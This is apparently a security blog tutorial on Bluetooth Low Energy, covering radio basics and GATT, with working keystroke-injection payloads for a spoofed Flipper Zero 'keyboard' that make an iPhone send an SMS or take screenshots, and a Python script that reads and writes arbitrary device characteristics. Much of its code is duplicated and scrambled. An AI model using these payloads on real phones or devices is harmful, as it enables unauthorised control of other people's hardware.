Even though you’re surely already aware of Bluetooth due to its wide usage (unless you’ve been living in a time-capsule under a rock), Bluetooth is a wireless technology that allows devices to connect and exchange data over short distances.
This technology is now embedded into countless devices we use daily, from smartphones and tablets to headphones and smart home systems.
While Bluetooth has changed the way we interact with technology, it also introduces security vulnerabilities.
In this article, we will delve into the inner (boring) workings of Bluetooth technology to give you an understanding of how it works. Along with that, we’ll also show you how to exploit these vulnerabilities (not boring).
This is for educational purposes only. Unless you have explicit permission, do not perform the actions demonstrated on anyone or anything.
To understand how Bluetooth works, you must understand the anatomy of a radio wave:
A peak is the highest point of a wave. The trough is the lowest point of a wave. The amplitude is half of the distance between peaks and troughs.
A wavelength is the distance between two consecutive peaks or troughs.
A cycle begins at a baseline, goes up to a peak, comes back down through the baseline to a trough and then returns to the baseline.
Frequency is the number of cycles per second and can be measured in Hertz (Hz). The wavelength and frequency of a wave are inversely related:
The longer the wavelength, the lower the frequency.
The shorter the wavelength, the higher the frequency.
When two devices are connected via Bluetooth, they transmit binary data between each other.
The transmitting device will generate what is known as a carrier wave. This carrier wave is a continuous wave at a specific base frequency and acts as the transport signal. The frequency of the carrier wave is then shifted to a higher frequency to send a 1 and to a lower frequency to send a 0.
For example, if the carrier wave had a wavelength of 123mm:
In other words, if the carrier wave had a frequency of 2402 MHz:
Sending binary data using different frequencies of electromagnetic waves is known as frequency shift keying.
The long strings of binary bits sent between devices are assembled into packets. The first 72 bits in a packet are the access codes used to synchronize devices. The next 54 bits is the header which contains information such as the connection handle, packet type, and payload length. The remaining bits are the actual data payload.
There are two variants of Bluetooth: Classic (aka Basic Rate/Enhanced Data Rate + AMP) and Low Energy.
Bluetooth Classic (BR/EDR) is mainly used to stream audio to headsets and speakers.
Bluetooth Low Energy (BLE) is more versatile as it can provide location and direction finding, data transfer to peripheral devices and functions related to monitoring, automation, and control systems. Due to this, we’ll concentrate more on Bluetooth Low Energy.
The wavelength of Bluetooth radio waves range from 124.9mm (2402 Megahertz) to 120.7mm (2483.5 Megahertz). This range is divided into 80 different sections when using BR/EDR and 40 different sections for BLE. These sections are known as channels. Each channel has a center frequency which represents the frequency of the carrier wave.
At any given time, communication is carried out using one of these channels. However, devices do not stay in a single channel—instead they change channels ~1,600 times per second. In each channel, one packet will be transmitted. The transmitting device dictates which channel will be used next and the other device follows its lead. This ensures there are no channel collisions with other paired devices.
Similar to TCP/IP, if the receiving device does not receive a packet, it will notify the transmitting device, which will then resend the packet.
Bluetooth capable devices have a Bluetooth microchip that filters out unwanted signals, checks for errors, coordinates channel hopping, and assembles the data sent into packets.
Before we get into more details on how Bluetooth works – let’s take a break with a fun exercise.
The Flipper Zero is a small receiver-transmitter with a (cute) dolphin mascot. Inside this malicious Tamagotchi is a STM32WB55RG microcontroller that makes it Bluetooth compatible.
Because it is Bluetooth compatible, we can use it to act as a peripheral device that central devices can connect to. You are already familiar with other peripheral devices, such as Bluetooth keyboards and mice. Central devices are simply what they connect to—like a computer or smartphone.
The thing with these Bluetooth peripherals though, is that they carry a level of implicit trust.
After all, if your central device is connected to it, that shows user intent right? You must have purposely connected to it.
What would happen though, if you accidentally connected to it?
Humans are bad at remembering things and so many of our daily devices let you arbitrarily name them. That’s why we need the Domain Name System to translate IP addresses into nice simple words for us. It would be very inconvenient to have to remember the MAC address of your Bluetooth fish tank thermometer.
You can set the…
Also, there is no requirement to choose a unique name.
I thought I was connecting to my earbuds. Why is a photo of a podcast host now saved as a screenshot on my phone?
With Flipper in hand, here is how you can do this as well:
The default firmware that comes with the Flipper Zero does not have the capability to pull this off. For that, you will need to install Xtreme. This custom firmware builds upon the default Bad USB app by providing it with Bluetooth capability—giving you Bad Keyboard.
With Bad Keyboard, you can arbitrarily spoof the name and MAC address of a Bluetooth device waiting to be connected. Once a central device pairs with your rogue device, the Flipper Zero emulates a Bluetooth keyboard. An easy to learn language called Duckyscript is then used to issue keystrokes and shortcuts to the central device. Check out our blog on hacking with the Flipper Zero.
Again, because of the implicit trust given to devices like Bluetooth keyboards, this even works on my iPhone, which is updated to the latest version.
Here are a couple of scripts to get you started with Bad Keyboard for attacking iOS via BLE:
The script demonstrated above:
REM Screenshot of webpage. REM Replace with desired URL.
REM Screenshot of webpage.
REM Replace with desired URL.
GUI h DELAY 1000 GUI SPACE DELAY 250 STRING https://example.com/examplephoto.jpg DELAY 2300 TAB DELAY 150 ENTER DELAY 150 ENTER DELAY 2500 GUI-SHIFT 4
GUI h
DELAY 1000
GUI SPACE
DELAY 250
STRING https://example.com/examplephoto.jpg
DELAY 2300
TAB
DELAY 150
ENTER
DELAY 2500
GUI-SHIFT 4
Make a phone send a text message to an arbitrary number:
REM Text message backup.
GUI h DELAY 1000 GUI SPACE DELAY 100 STRING Safari DELAY 350 TAB DELAY 75 ENTER DELAY 1200 GUI l DELAY 500 GUI l DELAY 500 STRING sms://[PHONE NUMBER] DELAY 1300 ENTER DELAY 300 ENTER DELAY 3000 STRING Careful what you connect to. DELAY 1000 ENTER
DELAY 100
STRING Safari
DELAY 350
DELAY 75
DELAY 1200
GUI l
DELAY 500
STRING sms://[PHONE NUMBER]
DELAY 1300
DELAY 300
DELAY 3000
STRING Careful what you connect to.
Note that the iPhone must be unlocked for any of these to execute. Also, if you are curious as to why you can’t type anything, remember, the Flipper is emulating a keyboard. You need to disconnect to regain the iPhone keyboard.
Now that your attention has been captured, let’s continue on with learning how Bluetooth operates under the hood. Trust me, it will be worth it.
We’ll just briefly run through this. In the BLE protocol stack, there are two main parts—the Controller layers and the Host layers.
The Controller layers (highlighted in orange), refer to what the hardware does:
The Host Controller Interface is shared between both layers. It is the interface between the low-level Controller protocols and the upper-level Host protocols.
The Host layers (highlighted in…brown?), refer to what the software does:
Above all these layers, is the Application layer. This is where you, the lovely developer, resides.
Remember how the GAP defines roles for devices (right above if you skipped reading—shame on you)? We have already discussed two of them—the peripheral and central roles. But there are two more.
Feel free to print this out and hang it on the fridge.
When you go into the Bluetooth settings of your computer to find your headset to connect to (so children can roast you over in-game chat), the observer role is assumed by your computer. As an observer, the computer instructs its Link layer to be a scanner. The Link layer then switches the low-energy radio from an idle state to a scanning state, allowing the computer to listen for advertisement packets.
Your headset assumes the broadcaster role and instructs its Link layer to become an advertiser. This will switch the radio from the idle state to an advertising state—in which it can send out the advertisement packets to make its presence known. These advertisements include data such as the device’s name, MAC address, and may also include a list of available service UUIDs. These packets are transmitted in channels 37, 38, and 39 for BLE.
Once you select your headset, your computer assumes the central role and the Link layer switches the radio from the scanning state to the initiating state. In this state, a connection request packet is sent to the peripheral role headset. If this packet is accepted by the headset, the connection is established.
Finally, after the connection has been made, the devices assume the client and server roles (as defined by the GATT, not the GAP). Typically, peripheral devices act as the server and central devices act as the client. Similar to the Hypertext Transport Protocol (HTTP), the client (your computer) will make requests to the server (your headset) and the server will send back responses to the client.
The table that holds all the data attributes, is (surprise) called an attribute table. When a client sends a request for data to a server, this is where the data is pulled from. This table includes:
Profiles: A profile is a collection of related services.
Services: A service is a collection of related characteristics.
Characteristics: The characteristics represent individual data points in a service. They store the values you want to read or write to the device. Each characteristic will list the permissions of what the central device can do.
Imagine you have a “smart” Bluetooth fitness watch and an application on your phone for it:
Descriptors: Descriptors are optional and provide additional information about a characteristic.
If you are familiar with HTTP, you can think of Read permissions as a GET request and Write permissions as a PUT request.
We are almost there—stay with me.
Each attribute is identified by a 128-bit (or 16 bytes for you math nerds) Universally Unique Identifier (UUID) represented as a string of hexadecimal digits.
You may sometimes see an attribute UUID as only 16 bits (or four characters long for you not-math nerds). This is because UUIDs defined by the Bluetooth standard share the first 16 bits and last 96 bits in common: 0000xxxx-0000-1000-8000-00805F9B34FB.
These common bits are referred to as the Bluetooth Base UUID. The base just states that it’s an “officially recognized” UUID by Big Bluetooth. It also includes the version and standard used to make it. Not really interesting, just remember that a UUID sometimes leaves all that out and only uses the 16 bit assigned number (aka short UUID).
For example, if we are talking about a Bluetooth compatible insulin pump:
0x183A would be the short UUID that references the insulin delivery service attribute. 0x is just a prefix letting you know the following characters are hexadecimal. So, if you wanted to refer to the insulin delivery service, using its full government-given-name, you would just insert those four characters into the base UUID – 0000183A-0000-1000-8000-00805F9B34FB.
You can find all the officially registered assigned numbers here: Bluetooth Numbers Database
Bleak is a Python library designed for BLE communication. It provides a cross-platform API for interaction. It acts as a client to a GATT server. The documentation can be found here. Use pip to install the library:
pip install bleak
Do not name any of your scripts bleak.py as it will cause an import error.
Bleak provides:
To discover Bluetooth devices using the BleakScanner.discover() method:
import asyncio from bleak import BleakScanner
import asyncio
from bleak import BleakScanner
async def main(): devices = await BleakScanner.discover() for d in devices: print(d)
async def main():
devices = await BleakScanner.discover()
for d in devices:
print(d)
asyncio.run(main())
All the MAC addresses and given names of the devices within range will be output. Oh look, the Flipper Zero that spoofed my headphones earlier.
Connect to a device using the BleakClient() method and list the services of a device (make sure to provide a device UUID as an argument):
import asyncio import sys from bleak import BleakClient
import sys
from bleak import BleakClient
async def main(address): async with BleakClient(address) as client: if (not client.is_connected): raise "Client not connected"
async def main(address):
async with BleakClient(address) as client:
if (not client.is_connected):
raise "Client not connected"
services = client.services
for service in services: print('Service', service.handle, service.uuid, service.description)
for service in services:
print('Service', service.handle, service.uuid, service.description)
if __name__ == "__main__": address = sys.argv[1] print('Address:', address) asyncio.run(main(address))
if __name__ == "__main__":
address = sys.argv[1]
print('Address:', address)
asyncio.run(main(address))
Notice the UUIDs?
Include the characteristics, their descriptors and the permissions of each service using the attributes and attribute properties:
for service in services: print('\nService', service.handle, service.uuid, service.description)
print('\nService', service.handle, service.uuid, service.description)
characteristics = service.characteristics seen_characteristics = set()
characteristics = service.characteristics
seen_characteristics = set()
for char in characteristics: char_info = (char.handle, char.uuid) if char_info not in seen_characteristics: print(' Characteristic:', char.handle, char.uuid, char.description, char.properties) seen_characteristics.add(char_info) descriptors = char.descriptors seen_descriptors = set()
for char in characteristics:
char_info = (char.handle, char.uuid)
if char_info not in seen_characteristics:
print(' Characteristic:', char.handle, char.uuid, char.description, char.properties)
seen_characteristics.add(char_info)
descriptors = char.descriptors
seen_descriptors = set()
for desc in descriptors: desc_info = (desc.handle, desc.uuid) if desc_info not in seen_descriptors: print(' Descriptor:', desc.handle, desc.uuid, desc.description) seen_descriptors.add(desc_info)
for desc in descriptors:
desc_info = (desc.handle, desc.uuid)
if desc_info not in seen_descriptors:
print(' Descriptor:', desc.handle, desc.uuid, desc.description)
seen_descriptors.add(desc_info)
You made it. I am very proud of you. Though we must part ways—I will leave you with a base script.
Try changing things according to the Bleak documentation that can be found here.
I was able to successfully mess around with a couple of devices in my house with the script. Ensure to search the web to find any device specific information you may need such as command codes or what data format/encoding type is expected.
Until next time,
Ninjeeter
import asyncio from bleak import BleakScanner, BleakClient
from bleak import BleakScanner, BleakClient
# Define a timeout period in seconds. TIMEOUT = 10
# Define a timeout period in seconds.
TIMEOUT = 10
async def get_device_services(address): async with BleakClient(address) as client: if not client.is_connected: print(f"Failed to connect to {address}.") return []
async def get_device_services(address):
if not client.is_connected:
print(f"Failed to connect to {address}.")
return []
print(f"Connected to {address}. Discovering services...") return client.services
print(f"Connected to {address}. Discovering services...")
return client.services
async def discover_and_select(): while True: # Step 1: Discover devices. print("Scanning for devices...") devices = await BleakScanner.discover()
async def discover_and_select():
while True:
# Step 1: Discover devices.
print("Scanning for devices...")
if not devices: print("No devices found.") continue
if not devices:
print("No devices found.")
continue
# Step 2: List devices with index numbers for selection. print("Found devices:") for i, device in enumerate(devices): print(f"{i}. {device.name} ({device.address})")
# Step 2: List devices with index numbers for selection.
print("Found devices:")
for i, device in enumerate(devices):
print(f"{i}. {device.name} ({device.address})")
# Step 3: Prompt the user to select a device. selection = None while selection is None: user_input = input("Enter the number of the device to scan further: ") if user_input.isdigit(): user_input = int(user_input) if 0 <= user_input < len(devices): selection = user_input else: print("Invalid selection. Please enter a number within the valid range.") else: print("Invalid input. Please enter a number.")
# Step 3: Prompt the user to select a device.
selection = None
while selection is None:
user_input = input("Enter the number of the device to scan further: ")
if user_input.isdigit():
user_input = int(user_input)
if 0 <= user_input < len(devices):
selection = user_input
else:
print("Invalid selection. Please enter a number within the valid range.")
print("Invalid input. Please enter a number.")
selected_device = devices[selection] print(f"Selected device: {selected_device.name} ({selected_device.address})")
selected_device = devices[selection]
print(f"Selected device: {selected_device.name} ({selected_device.address})")
# Step 4: Scan the selected device for services and characteristics. try: services = await asyncio.wait_for(get_device_services(selected_device.address), timeout=TIMEOUT) except asyncio.TimeoutError: print(f"Timeout while discovering services on {selected_device.address}. Re-scanning for devices...") continue
# Step 4: Scan the selected device for services and characteristics.
try:
services = await asyncio.wait_for(get_device_services(selected_device.address), timeout=TIMEOUT)
except asyncio.TimeoutError:
print(f"Timeout while discovering services on {selected_device.address}. Re-scanning for devices...")
if not services: print("No services found.") continue
if not services:
print("No services found.")
# Step 5: List services and characteristics for user selection. print("\nAvailable services and characteristics:") service_index = {} char_index = {} char_count = 0
# Step 5: List services and characteristics for user selection.
print("\nAvailable services and characteristics:")
service_index = {}
char_index = {}
char_count = 0
for i, service in enumerate(services): print(f"{i}. Service: {service.handle} {service.uuid} {service.description}") service_index[i] = service for char in service.characteristics: print(f" {char_count}. Characteristic: {char.handle} {char.uuid} {char.description} {char.properties}") char_index[char_count] = char char_count += 1
for i, service in enumerate(services):
print(f"{i}. Service: {service.handle} {service.uuid} {service.description}")
service_index[i] = service
for char in service.characteristics:
print(f" {char_count}. Characteristic: {char.handle} {char.uuid} {char.description} {char.properties}")
char_index[char_count] = char
char_count += 1
# Step 6: Loop to read or write to characteristics, or rescan. while True: # Prompt user to select a characteristic, or type 'rescan', 'exit', or 'write'. user_input = input("Enter the number of the characteristic to read value, 'write' to write value, 'rescan' to rescan, or 'exit' to exit: ")
# Step 6: Loop to read or write to characteristics, or rescan.
# Prompt user to select a characteristic, or type 'rescan', 'exit', or 'write'.
user_input = input("Enter the number of the characteristic to read value, 'write' to write value, 'rescan' to rescan, or 'exit' to exit: ")
if user_input.lower() == 'rescan': break # Exit to rescanning loop. elif user_input.lower() == 'exit': return # Exit the entire program.
if user_input.lower() == 'rescan':
break # Exit to rescanning loop.
elif user_input.lower() == 'exit':
return # Exit the entire program.
if user_input.lower() == 'write': # Prompt for characteristic index and value to write. char_index_input = input("Enter the number of the characteristic to write to: ") if char_index_input.isdigit(): char_index_input = int(char_index_input) if 0 <= char_index_input < len(char_index): selected_char = char_index[char_index_input] value_to_write = input(f"Enter the value to write to characteristic {selected_char.uuid}: ") try: # Convert value to bytes if necessary. value_bytes = bytes(value_to_write, 'ascii') async with BleakClient(selected_device.address) as client: if not client.is_connected: print(f"Failed to connect to {selected_device.address}") continue
if user_input.lower() == 'write':
# Prompt for characteristic index and value to write.
char_index_input = input("Enter the number of the characteristic to write to: ")
if char_index_input.isdigit():
char_index_input = int(char_index_input)
if 0 <= char_index_input < len(char_index):
selected_char = char_index[char_index_input]
value_to_write = input(f"Enter the value to write to characteristic {selected_char.uuid}: ")
# Convert value to bytes if necessary.
value_bytes = bytes(value_to_write, 'ascii')
async with BleakClient(selected_device.address) as client:
print(f"Failed to connect to {selected_device.address}")
print(f"Connected to {selected_device.address}. Writing characteristic value...") response = await client.write_gatt_char(selected_char.uuid, value_bytes, response=True) print(f"Value written to characteristic {selected_char.uuid}. Response: {response}") except Exception as e: print(f"An error occurred while writing to characteristic {selected_char.uuid}: {e}") else: print("Invalid selection. Please enter a number within the valid range.") else: print("Invalid input. Please enter a number.") continue # Continue the loop after writing.
print(f"Connected to {selected_device.address}. Writing characteristic value...")
response = await client.write_gatt_char(selected_char.uuid, value_bytes, response=True)
print(f"Value written to characteristic {selected_char.uuid}. Response: {response}")
except Exception as e:
print(f"An error occurred while writing to characteristic {selected_char.uuid}: {e}")
continue # Continue the loop after writing.
if user_input.isdigit(): user_input = int(user_input) if 0 <= user_input < len(char_index): selected_char = char_index[user_input] print(f"Selected characteristic: {selected_char.handle} {selected_char.uuid}")
if 0 <= user_input < len(char_index):
selected_char = char_index[user_input]
print(f"Selected characteristic: {selected_char.handle} {selected_char.uuid}")
# Step 7: Read and print the value of the selected characteristic. async with BleakClient(selected_device.address) as client: if not client.is_connected: print(f"Failed to connect to {selected_device.address}") continue
# Step 7: Read and print the value of the selected characteristic.
print(f"Connected to {selected_device.address}. Reading characteristic value...") try: value = await client.read_gatt_char(selected_char.uuid) print(f"Value of characteristic {selected_char.uuid}: {value}") except Exception as e: print(f"An error occurred while reading characteristic {selected_char.uuid}: {e}") else: print("Invalid selection. Please enter a number within the valid range.") else: print("Invalid input. Please enter a number, 'write', 'rescan', or 'exit'.")
print(f"Connected to {selected_device.address}. Reading characteristic value...")
value = await client.read_gatt_char(selected_char.uuid)
print(f"Value of characteristic {selected_char.uuid}: {value}")
print(f"An error occurred while reading characteristic {selected_char.uuid}: {e}")
print("Invalid input. Please enter a number, 'write', 'rescan', or 'exit'.")
if __name__ == "__main__": asyncio.run(discover_and_select())
asyncio.run(discover_and_select())